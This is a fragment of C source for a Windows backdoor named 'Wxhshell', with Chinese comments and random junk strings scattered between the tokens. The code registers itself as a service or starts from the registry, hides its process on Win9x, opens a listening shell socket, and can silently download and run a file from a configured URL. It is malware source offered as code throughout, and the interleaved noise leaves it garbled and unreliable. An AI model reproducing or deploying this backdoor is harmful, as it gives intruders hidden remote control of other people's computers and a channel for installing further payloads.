c,"12 fw1;i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v|4STR if(hProcess==NULL) return 0; #|{BGVp i_[
HcgT- HMODULE hMod; Q8;x9o@p char procName[255]; (1kn): unsigned long cbNeeded; 'uP'P# (opROsFh if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AQnJxIL: z&C{8aQ' CloseHandle(hProcess); -(/2_&" a2cx if(strstr(procName,"services")) return 1; // 以服务启动 c]s(u+i c ,h.`~{ return 0; // 注册表启动 eEW roF } r%g
<hT 8 E(aX4^]g // 主模块 =1{H
Sf int StartWxhshell(LPSTR lpCmdLine) 7X9+Qj; { $I)Tk`= SOCKET wsl; V!pq,!C$v BOOL val=TRUE; sW]yuu!/ int port=0; v F.?] u struct sockaddr_in door; Vr&el RR[)UQ if(wscfg.ws_autoins) Install(); vpeq:h vKU]80T port=atoi(lpCmdLine); dp"<KcP_ ]97Xu_ if(port<=0) port=wscfg.ws_port; .iOw0z i63`B+L{ WSADATA data; 9_J!s if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N<L$gw+)$D c*S#UD+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bGGeg%7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4B:\ door.sin_family = AF_INET; &57qjA,8< door.sin_addr.s_addr = inet_addr("127.0.0.1"); sowbg<D door.sin_port = htons(port); `!Ua ScM )^jQkfL if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1zb$5 {,| closesocket(wsl); a^RZsR return 1; U=haXx4N } 92P,:2`a 3n.+_ jQ>s if(listen(wsl,2) == INVALID_SOCKET) { th.M.jas closesocket(wsl); k1^V?O return 1; R7E]*:0} } XsAY4WTS Wxhshell(wsl); L"""\5Bn( WSACleanup(); $Qn&jI38 >QYh}Z-/% return 0; r\A@&5#q kbfuvJ> } q
Axf5 L]c 8d // 以NT服务方式启动 q6;OS.f VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KcIc'G 9 { +
$k07mb\ DWORD status = 0; O]e6i%? DWORD specificError = 0xfffffff; )HJK '@ + 6x"trC serviceStatus.dwServiceType = SERVICE_WIN32; GAg.p?Sq serviceStatus.dwCurrentState = SERVICE_START_PENDING; >[Xm|A# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2.StG(Y! serviceStatus.dwWin32ExitCode = 0; WafdE serviceStatus.dwServiceSpecificExitCode = 0; Q;XXgX#l serviceStatus.dwCheckPoint = 0; 3mpP|b" serviceStatus.dwWaitHint = 0; {M` L\QQjI{ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3M}AxE u if (hServiceStatusHandle==0) return; Z7`5x 8pXfT%] status = GetLastError(); mBw2 if (status!=NO_ERROR) 1zdYBb6;j { \1=T
sU&^ serviceStatus.dwCurrentState = SERVICE_STOPPED; rER~P\- serviceStatus.dwCheckPoint = 0; f2uZK!:m serviceStatus.dwWaitHint = 0; k
TF z_*6. serviceStatus.dwWin32ExitCode = status; B"~U<6s0 serviceStatus.dwServiceSpecificExitCode = specificError; PLO\L W SetServiceStatus(hServiceStatusHandle, &serviceStatus); "F&Tnhh4 return; LTg?5GwD\j } l9]o\JFXk
*Zc9yZl2 serviceStatus.dwCurrentState = SERVICE_RUNNING; Rb{+Ki serviceStatus.dwCheckPoint = 0; 5/Ydv
RB67 serviceStatus.dwWaitHint = 0; 4qqF v?O[r if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x2sN\tOh^ } s ;48v eA`]KalH // 处理NT服务事件,比如:启动、停止 ?2H{^\<(e VOID WINAPI NTServiceHandler(DWORD fdwControl) 613/K`o { {]+ jL1 switch(fdwControl) \V._Z>] { 9 1BY]N case SERVICE_CONTROL_STOP: `ffj8U serviceStatus.dwWin32ExitCode = 0; Z$Z`@&U= serviceStatus.dwCurrentState = SERVICE_STOPPED; 2}D,df'W4 serviceStatus.dwCheckPoint = 0; j1'\R+4U serviceStatus.dwWaitHint = 0; CoKiQUW { Us1@\|] SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7^c2e*S } kJ/+IGV^v return; A$/KP\0Y2 case SERVICE_CONTROL_PAUSE: ]a8eDy serviceStatus.dwCurrentState = SERVICE_PAUSED; 6(:)otz break;
*hV4[= case SERVICE_CONTROL_CONTINUE: 1oB$MQoc serviceStatus.dwCurrentState = SERVICE_RUNNING; ymHKcQ break; bAUHUPe case SERVICE_CONTROL_INTERROGATE: oz Vpfs break; *^n^nnCwp }; 7TP$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); #g,H("Qy({ } AzZi{Q ? pMOD\J:l, // 标准应用程序主函数 X )I/%{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3QH(4N { _\p`4-.V /#29Y^Z)= // 获取操作系统版本 @v"T~6M OsIsNt=GetOsVer(); H1Q''$}Z. GetModuleFileName(NULL,ExeFile,MAX_PATH); Mk<m6E$L IT,"8s // 从命令行安装 FSv1X if(strpbrk(lpCmdLine,"iI")) Install(); cS4xe(n8
1U // 下载执行文件 nZe\5` if(wscfg.ws_downexe) { tzZ|S<e6=\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6!@0VI&P WinExec(wscfg.ws_filenam,SW_HIDE); tAaYL
\~ } *8/VSs e "_&z#
2_ if(!OsIsNt) { v<j2L"bj // 如果时win9x,隐藏进程并且设置为注册表启动 W^w d
([ HideProc(); 6ezcS}:+ StartWxhshell(lpCmdLine); ~'(9?81d }
yz2(_@R else sbzeY1 if(StartFromService()) 9-B@GFB;8 // 以服务方式启动 D^N[=q99&e StartServiceCtrlDispatcher(DispatchTable); X@cSP7b else ^Wf
S\M` // 普通方式启动 g/x_m. StartWxhshell(lpCmdLine); 2mQOj$Lv )ukF3;Gt return 0; U8E0~[y' }
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